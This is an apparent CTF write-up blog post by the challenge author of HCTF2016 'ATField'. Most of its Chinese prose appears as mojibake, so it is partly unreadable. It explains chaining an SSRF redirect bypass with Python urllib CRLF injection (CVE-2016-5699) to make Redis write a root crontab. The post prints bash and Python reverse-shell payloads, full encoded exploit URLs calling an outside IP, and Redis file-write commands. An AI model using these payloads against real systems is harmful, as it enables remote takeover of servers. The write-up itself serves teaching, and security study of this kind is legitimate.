LoRexxar's Blog

HCTF2016 ATField writeup

2016/11/29

鍑洪鐨勬椂鍊欙紝涓昏鎬濊矾鏄潵婧愪簬2016wooyun宄颁細涓尓鐚緺鐨刾pt锛岄噷闈㈡彁鍒颁簡寰堝鍏充簬ssrf鐨勫埄鐢ㄦ柟寮忥紝鑰屼笖鍥藉唴鍏跺疄瀵箂srf鐨勭爺绌跺苟涓嶅锛屾墍浠ヤ竴鐩存湁鎯虫硶鍑轰竴涓繖鏍风殑棰橈紝浣嗘槸鐢变簬鏃堕棿浠撲績鍐嶅姞涓婂flask鐨勪笉鐔熸倝锛屽鑷村湪鍑洪鐨勬椂鍊欐氮璐逛簡寰堝鏃堕棿锛岃屼笖杩樻病鑳藉嚭寰楃壒鍒ソ銆

棰樼洰婧愮爜

鐢变簬鍑洪鐨勬椂鍊欏兊鍖栵紝璇В浜嗘墍璋撶郴缁熷鐞嗚緭鍑鸿緭鍏ユ祦鐨勯棶棰橈紝鎵浠ヤ竴鐩翠互涓簎buntu鍐呮牳鐨刢entos涓嶈兘姝g‘澶勭悊锛屾墍浠ヨ繖閲屼竴鐩翠互涓哄彧鑳介氳繃python鏉ュ脊shell锛岀敱浜巔ython鐨剆hell搴旇榛樿涓簉oot鈥︽墍浠ユ垜鍦ㄥ畧棰樼洰鐨勬椂鍊欙紝姣忓綋鐪嬪埌姝g‘鐨刾ayload灏卞厛绉佽亰甯屾湜涓嶈鎼炰簨鎯咃紝涔熷仛濂戒簡闅忔椂閲嶅惎docker鐨勫噯澶囷紝鐒跺悗娌℃兂鍒扮殑鏄:

澶╂灑澶т浆鐢ㄦ垜浠ヤ负涓嶅彲鐢ㄧ殑payload鎷垮埌浜唖hell锛屽苟鎼炰簡鍚勭浜嬫儏鈥﹁繕鍋峰伔鎸傝捣浜哻rontab锛圤rz鈥﹀お鑿滀簡瀹屽叏娌″彂鐜拌繖涓棶棰橈級

杩欓噷缁欒浣嶅ぇ浣亾姝塐rz锛

Nu1L鐨勫笀鍌呫佺伀鏃ュ笀鍌呫丯SIS銆丗lappyPig鐨勫笀鍌呭湪缁撴潫鍓嶅簲璇ユ槸瀛樺湪鏈夋晥payload锛孫rz

棰樼洰鎻忚堪

Welcome to ATField.

hint锛
1: 鍦ㄧ涓棰橀噷涓嶅彧鏈塮lag锛岃繕鏈夌浜岄鐨勫叆鍙
2銆佹壂绔彛娌$敤锛屽嚑鐧剧嚎绋嬩篃娌$敤鐨勫憖
3銆佹垜浠庢潵娌¤杩囷紝flag1閭i噷娌℃湁鍒殑涓滆タ鍟
4銆佸畨nosql鐨勬湇鍔″櫒鏄痗entos
5銆乵dzz锛屾病浜烘敞鎰忓埌nosql鐨勮娉曞悧

瑙i閫昏緫

AT Field1棣栧厛鏄緢绠鍗曠殑ssrf缁曡繃锛岀粫杩噑srf涔嬪悗锛屽ぇ閮ㄥ垎浜洪兘閫夋嫨浜嗘壂127.0.0.1鐨勭鍙o紝鎯虫壘鍒版湰鍦板紑鍚殑鏈嶅姟銆

涓轰簡澶у鑳藉湪鏈夐檺鐨勬椂闂撮噷涓嶆氮璐规椂闂达紝鎴戞斁鍑轰簡鍓3鏉int锛屼箣鎵浠ヤ笉鎯宠鐨勫お鏄庣櫧锛屾槸鍥犱负鍑洪鐨勬椂鍊欙紝璁や负杩欎竴姝ユ槸闇瑕佹壂鐩綍鐨勶紝鍦╢lag1鐨勪綅缃甶ndex.php閭i噷锛屾槸閫氳繃git clone鍒版湰鍦扮殑锛岃櫧鐒舵垜鍒犻櫎浜.git锛屼絾鏄嵈
閬楃暀浜哛EADME.md锛屽湪Readme涓紝鎴戜滑鑾峰緱浜嗗緢澶氬叧浜庝笅涓姝ョ殑淇℃伅銆

1
2
3
4
5
6
7
8
9
10
11
12
11.23
ak璇翠笂绾跨殑.git瑕侀兘鍒犱簡锛屼互鍏嶈鎷栨簮鐮
11.24
aknosql铔ソ鐢ㄧ殑锛link涓涓帺鐜╃湅
11.25
鍝庡憖,docker鎬庝箞娌℃湁crontab,閮戒笉鑳藉畾鏃堕噸鍚紝瑁呬竴涓涓涓

浜嬪疄涓婏紝鍦ㄨ繖涓夊彞璇濅腑鑳借幏寰椾俊鎭繙杩滆秴杩囦綘鐨勬兂璞♀

棣栧厛鏄痭osql锛屾垜浠彲浠ュ緱鍒版湇鍔$殑澶ц嚧绔彛鍙凤紝杩欎釜鎴戠浉淇″ぇ閮ㄥ垎浜洪兘鑳芥兂鎯冲埌

鍏舵灏辨槸docker锛屽鏋滀綘灏濊瘯杩囦娇鐢╠ocker鏉ヨ繛鎺ュ鍣ㄧ殑璇濓紝浣犲氨浼氱煡閬撳緢澶氶殣钘忎俊鎭
1銆乺edis鐨刣ocker涓病鏈変换浣曞浣欑殑鏈嶅姟锛宑rontab涔熸病鏈夛紝褰撶劧涔熶笉鍙兘鏈墂eb鏈嶅姟
2銆乨ocker鐨勮繛鎺ユ柟寮忕被浼间簬鍐呯綉锛屾墍浠ュ拰棰樼洰骞朵笉鍦ㄥ悓涓涓猟ocker
3銆乨ocker鍐呯綉姣旇緝鐗规畩锛岀被浼间簬浠192.168.0.1寮濮嬶紝濡傛灉鍓嶉潰鐨刬p琚崰鐢紝灏变緷娆¢掑锛岀敱浜庨鐩幆澧冨苟涓嶅鏉傦紝鎵浠ュ唴缃戠殑ip骞朵笉鏄お澶氾紝鐞嗚涓婃潵璇达紝涓嶈秴杩30涓姹傚氨鑳芥壘鍒扮洰鏍噄p锛堣繖閲屾湁涓涓柟寮忔槸鐢ㄨ繃host鏉ヤ唬鏇縤p锛岄仐鎲剧殑鏄紝缁忚繃鎴戠殑娴嬭瘯锛宧ost鏇夸唬浼氬鑷磒ython urllib header娉ㄥ叆澶辫触锛
4銆乨ocker鐨勯粯璁ょ敤鎴锋槸root

鎴栬浣犲彲鑳芥病鏈夊緱鍒伴偅涔堝淇℃伅锛岄偅涔堢◢鍚庢垜浠『鐫棰樼洰鎬濊矾锛屾潵鐪嬬湅杩欎簺鏉′欢鏄浣曞埄鐢ㄧ殑

绱ф帴鐫寰堝揩灏辫兘鍙戠幇鏁翠釜绔欐槸python鐨勶紝鑰屼笖璇锋眰鍥剧墖鏄氳繃urllib鏂瑰紡锛岄偅涔堝緢鑷劧鐨勬兂鍒颁簡python urllib httpheader娉ㄥ叆銆

鍥藉唴涓昏鏄繖涓ょ瘒鏂囩珷
http://www.tuicool.com/articles/2iIj2eR
https://security.tencent.com/index.php/blog/msg/106

鐢变簬redis鍐欏叆鐨勬枃浠舵湁鑾悕鐨勫ご鍜屽熬锛屾墍浠ヨ繖閲屽彧鏈塩entos鎵嶈兘鎴愬姛閫氳繃crontab鏉ュ脊shell

杩欓噷鍏堟荤粨鏁翠釜娴佺▼锛
302->鏈満ssrf->鍐呯綉->鍐呯綉鐨剅edis->python urllib http澶存敞鍏ユ瀯閫爎edis璇锋眰鈥>redis鍐欏叆crontab->crontab瀹氭椂鎵цgetshell

鏁翠釜棰樼洰鏈闅剧殑鍏跺疄灏辨槸榛戠洅锛屽洜涓哄叏绋嬩綘骞朵笉鐭ラ亾鏄笉鏄啓鍏ユ垚鍔熶簡锛屾墍浠ユ兂瑕佹彁楂樻垚鍔熺巼锛屽繀椤诲湪鏈湴redis鎼缓鎴愬姛

writeup

AT Field1

鏁翠釜棰樼洰鎵撳紑鏄繖鏍风殑

闅忎究鏀句釜鍥剧墖鍦板潃锛屽彂鐜拌繑鍥炰簡涓寮犲浘鐗囷紝

浠庤繖閮ㄥ垎 寰堝鏄撴兂鍒拌繖閲屽瓨鍦╯srf锛岄偅涔堥棶棰樺氨鏄浣曡繃婊や簡銆

绋嶅井娴嬭瘯涓嬶紝鎴戜滑鍙戠幇杩斿洖浜

NoNoNo, guys, Links must be accord with standard of .tld and contain domain name.

杩欓噷鎴戜滑娴嬭瘯鑳藉彂鐜帮紝骞朵笉鍏佽ip鐨勮姹傦紝涔熷氨鏄弿杩颁腑鎵璇寸殑锛岃姹傚繀椤荤鍚.tld鏍囧噯骞朵笖鍖呭惈鍩熷悕锛屽鏋滄兂瑕佽姹127.0.0.1锛屾垜浠繖閲屾湁涓ょ缁曡繃鏂瑰紡

1銆http://www.127.0.0.1.xip.io

杩欑鏂瑰紡鍙互鑷姩鎶婂煙鍚嶆寚鍚戜腑闂寸殑ip锛屽湪涓浜涚壒娈婃儏鍐典笅闈炲父濂界敤

2銆http://xxxxx/?u=http://127.0.0.1

鍦ㄦ湁鍩熷悕鐨剉ps涓婂啓涓涓烦杞〉闈㈠疄鐜帮紝浜嬪疄涓婏紝鍙湁绗簩绉嶅仛娉曞彲浠ラ『鍒╃户缁仛涓嬩竴棰

AT Field2

鍒颁簡杩欓噷锛屽緢瀹规槗璇В璁や负瑕佹壂鏈満鐨勬湇鍔★紝鎵浠ュ強鏃舵斁鍑轰簡3涓彁绀

1
2
3
1: 鍦ㄧ涓棰橀噷涓嶅彧鏈塮lag锛岃繕鏈夌浜岄鐨勫叆鍙
2銆佹壂绔彛娌$敤锛屽嚑鐧剧嚎绋嬩篃娌$敤鐨勫憖
3銆佹垜浠庢潵娌¤杩囷紝flag1閭i噷娌℃湁鍒殑涓滆タ鍟

涓嶈兘璇存彁绀烘湁澶氭槑鏄惧惂锛屼絾鏄垜鐩镐俊浠巋int涓嶉毦寰楀嚭锛屽湪涓婁竴涓猣lag鎵鍦ㄩ〉闈紝瀛樺湪涓浜涘埆鐨勬湭鐭ョ殑鏂囦欢锛岄偅涔堟妱璧锋壂鐩綍鐨勮剼鏈紝璺戜竴璺戯紝寰堝揩鎵惧埌http://127.0.0.1/README.md

base64瑙g爜寰楀埌

1
2
3
4
5
6
7
8
9
10
11
12
11.23
ak璇翠笂绾跨殑.git瑕侀兘鍒犱簡锛屼互鍏嶈鎷栨簮鐮
11.24
aknosql铔ソ鐢ㄧ殑锛link涓涓帺鐜╃湅
11.25
鍝庡憖,docker鎬庝箞娌℃湁crontab,閮戒笉鑳藉畾鏃堕噸鍚紝瑁呬竴涓涓涓

浜嬪疄涓婏紝鍦ㄨ繖涓夊彞璇濅腑鑳借幏寰椾俊鎭繙杩滆秴杩囦綘鐨勬兂璞♀

棣栧厛鏄痭osql锛屾垜浠彲浠ュ緱鍒版湇鍔$殑澶ц嚧绔彛鍙凤紝杩欎釜鎴戠浉淇″ぇ閮ㄥ垎浜洪兘鑳芥兂鎯冲埌

鍏舵灏辨槸docker锛屽鏋滀綘灏濊瘯杩囦娇鐢╠ocker鏉ヨ繛鎺ュ鍣ㄧ殑璇濓紝浣犲氨浼氱煡閬撳緢澶氶殣钘忎俊鎭
1銆乺edis鐨刣ocker涓病鏈変换浣曞浣欑殑鏈嶅姟锛宑rontab涔熸病鏈夛紝褰撶劧涔熶笉鍙兘鏈墂eb鏈嶅姟
2銆乨ocker鐨勮繛鎺ユ柟寮忕被浼间簬鍐呯綉锛屾墍浠ュ拰棰樼洰骞朵笉鍦ㄥ悓涓涓猟ocker
3銆乨ocker鍐呯綉姣旇緝鐗规畩锛岀被浼间簬浠192.168.0.1寮濮嬶紝濡傛灉鍓嶉潰鐨刬p琚崰鐢紝灏变緷娆¢掑锛岀敱浜庨鐩幆澧冨苟涓嶅鏉傦紝鎵浠ュ唴缃戠殑ip骞朵笉鏄お澶氾紝鐞嗚涓婃潵璇达紝涓嶈秴杩30涓姹傚氨鑳芥壘鍒扮洰鏍噄p锛堣繖閲屾湁涓涓柟寮忔槸鐢ㄨ繃host鏉ヤ唬鏇縤p锛岄仐鎲剧殑鏄紝缁忚繃鎴戠殑娴嬭瘯锛宧ost鏇夸唬浼氬鑷磒ython urllib header娉ㄥ叆澶辫触锛
4銆乨ocker鐨勯粯璁ょ敤鎴锋槸root

棣栧厛鎴戜滑鏍规嵁鎷垮埌鐨勬彁绀烘壂鍐呯綉锛岀洰鏍囧ぇ姒傛槸192.168.0.1鍚戜笂锛岀鍙d负鐔熸倝鐨刵osql绔彛銆傛敞鎰忚繖閲屾湁鍙兘瀛樺湪璇尯锛屽洜涓洪氳繃link杩炲叆鐨刣ocker鍐涓嶅瓨鍦ㄤ换浣曞浣欑殑鏈嶅姟锛屾墍浠22銆80銆8080绔彛閮戒笉鍙兘寮鏀撅紒

鍏舵灏辨槸锛屽鏋滃悜redis鏈嶅姟绔彛鍙戦佹暟鎹紝濡傛灉绗﹀悎鏍煎紡鍒欎細鍐欏叆鏁版嵁锛屽鏋滀笉绗﹀悎鏍煎紡涔熶笉浼氭湁浠讳綍杩斿洖锛屽鏋滃悜瀛樺湪鏈嶅姟鐨勭鍙e彂閫佹暟鎹殑璇濓紝椤甸潰浼氬洜涓瓒呮椂杩斿洖500锛屼絾濡傛灉涓嶅瓨鍦紝鍒欎細鐩存帴杩斿洖urlopen error

鏍规嵁涓婇潰鐨勪俊鎭垎鐮达紝寰堝揩灏辫兘寰楀埌redis浣嶇疆192.168.0.10/6379

鏍规嵁璇锋眰澶达紝涓嶉毦鍙戠幇璇锋眰涓璾a涓簆ython鐨剈rllib

杩欓噷鍏堟帹鑽愬嚑绡囨枃绔
https://security.tencent.com/index.php/blog/msg/106

http://www.tuicool.com/articles/2iIj2eR

杩欓噷鐨刾ython urllib header娉ㄥ叆婕忔礊缂栧彿CVE-2016-5699锛屽煎緱娉ㄦ剰鐨勬槸鐢变簬python鐨勬洿鏂伴鐜囨瘮杈冨揩锛屾墍浠ュ熀鏈笂宸茬粡寰堝皯鏈夌増鏈瓨鍦ㄨ繖涓紡娲炰簡锛岃姹python3 < 3.4.3 || python2 < 2.7.9

鑰屼笖锛寃indows涓婁細鏃犳晥锛屾彁绀篻eturlinfo error锛岃嚦浠婁笉鑳借偗瀹氬師鍥犮

婕忔礊鎴愬洜灏变笉澶氳禈杩颁簡锛岃繖閲屾瀯閫爎edis鍚慶rontab閰嶇疆鏂囦欢锛屽啓鍏

1
\n*/1 * * * * /bin/bash -i >& /dev/tcp/杩欓噷鏄痠p/绔彛 0>&1\n

浜嬪疄涓婏紝婕忔礊鎴愬洜鍜屽簳灞傜郴缁熷悓鏍锋湁鍏筹紝杩欓噷蹇呴』鏄痗entos鎵嶈兘鎴愬姛鍐欏叆crontab骞舵墽琛岋紝杩欓噷鎴戜滑杩借釜涓浠絧ayload鏉ョ湅鐪嬪疄鐜般

payload:

1
http://www.115.28.78.16.xip.io/302.php?u=http%3A%2f%2f192.168.0.10%250d%250a%2a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%252462%250d%250a%250a%2a%252F1%2520%2a%2520%2a%2520%2a%2520%2a%2520%252Fbin%252Fbash%2520-i%2520%253E%2526%2520%252Fdev%252Ftcp%252F浣犵殑ip%252f12345%25200%253E%25261%250a%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave%250d%250a%3A6379%2f

璇锋眰缁忚繃璺宠浆锛岀粡杩囦竴娆rldecode锛

1
http://192.168.0.10%0d%0a*3%0d%0a%243%0d%0aset%0d%0a%241%0d%0a1%0d%0a%2462%0d%0a%0a*%2F1%20*%20*%20*%20*%20%2Fbin%2Fbash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F浣犵殑ip%2f12344%200%3E%261%0a%0d%0aconfig%20set%20dir%20%2Fvar%2Fspool%2Fcron%2F%0d%0aconfig%20set%20dbfilename%20root%0d%0asave%0d%0a:6379/

鐒跺悗urldecode杩涘叆redis

娉ㄦ剰杩欓噷鍦╮edis涓紝鍙湁0d0a鍙互琚綋浣滄崲琛岀

鎴戝彂鐜版垜浠皢鏁版嵁璁剧疆涓1锛屽苟鍌ㄥ瓨杩涘叆/var/spool/cron/root锛屽啓鍏ュ唴瀹逛负

鍐欏叆鏂囦欢鐨勫唴瀹规槸杩欐牱鐨勶紝鍓嶅悗琚彃鍏ヤ簡鐗规畩鐨勬暟鎹

浜嬪疄涓婏紝鍦ㄥ叾浠栫郴缁熶腑锛堢被浼间簬debian锛夛紝杩欎釜閰嶇疆鏂囦欢鏈夎緝涓轰弗鏍肩殑鏍煎紡瑕佹眰锛屽鏋滃瓨鍦ㄥ鎬殑鏁版嵁锛屼細瀵艰嚧鍛戒护鎵ц澶辫触銆

杩樻湁涓涓壒鍒殑闂锛宺edis涓偍瀛樻暟鎹负閿煎褰㈠紡锛屾墍浠ュ叾瀹炴妸鍐呭鍐欏叆2锛屽氨涓嶄細瑕嗙洊浜嗭紝鎴戜滑鏉ョ湅鐪嬫祴璇

鎴愬姛浜嗭紝浜嬪疄涓婏紝hint5涔熷氨鏄洜姝ゅ瓨鍦ㄧ殑锛屾垜浠垚鍔熸嬁鍒颁簡鍙嶅脊鐨剆hell

鐣欏湪鏈鍚庘.

鐢变簬鍦ㄩ儴鍒嗙郴缁熶腑锛屽苟涓嶈兘姝g‘鐨勫鐞嗚緭鍏ヨ緭鍑烘祦锛屾墍浠ユ渶寮濮嬬殑鍑洪鎬濊矾涓簆ython涓鍙ヨ瘽寮箂hell锛屼絾鏄湪澶嶇幇杩囩▼涓亣鍒颁簡闂锛屽亣璁炬垜浣跨敤

1
http://www.115.28.78.16.xip.io/302.php?u=http%3A%2f%2f192.168.0.10%250d%250a%2a3%250d%250a%25243%250d%250aset%250d%250a%25241%250d%250a1%250d%250a%2524255%250d%250a%250A%252A%2f1%2520%252A%2520%252A%2520%252A%2520%252A%2520%2fusr%2fbin%2fpython%2520-c%2520%2527import%2520socket%252Csubprocess%252Cos%252Csys%253Bs%253Dsocket.socket%2528socket.AF_INET%252Csocket.SOCK_STREAM%2529%253Bs.connect%2528%2528%2522115.28.78.16%2522%252C6666%2529%2529%253Bos.dup2%2528s.fileno%2528%2529%252C0%2529%253B%2520os.dup2%2528s.fileno%2528%2529%252C1%2529%253B%2520os.dup2%2528s.fileno%2528%2529%252C2%2529%253Bp%253Dsubprocess.call%2528%255B%2522%2fbin%2fsh%2522%252C%2522-i%2522%255D%2529%253B%2527%250A%250d%250aconfig%2520set%2520dir%2520%252Fvar%252Fspool%252Fcron%252F%250d%250aconfig%2520set%2520dbfilename%2520root%250d%250asave%250d%250a%3A6379%2f

鍐欏叆redis涓

浣嗗啓鍏ユ枃浠跺氨鎴愪簡

鎯崇煡閬撴槸涓嶆槸redis鏈変粈涔堝潙鈥︿竴鐩存病鎼炴槑鐧斤紝濡傛灉鏈夊ぇ浣湅鎳傞夯鐑﹀洖澶嶆垜涓涓婳rz

CATALOG
  1. 1. 棰樼洰鎻忚堪
  2. 2. 瑙i閫昏緫
  3. 3. writeup
    1. 3.1. AT Field1
    2. 3.2. AT Field2
    3. 3.3. 鐣欏湪鏈鍚庘.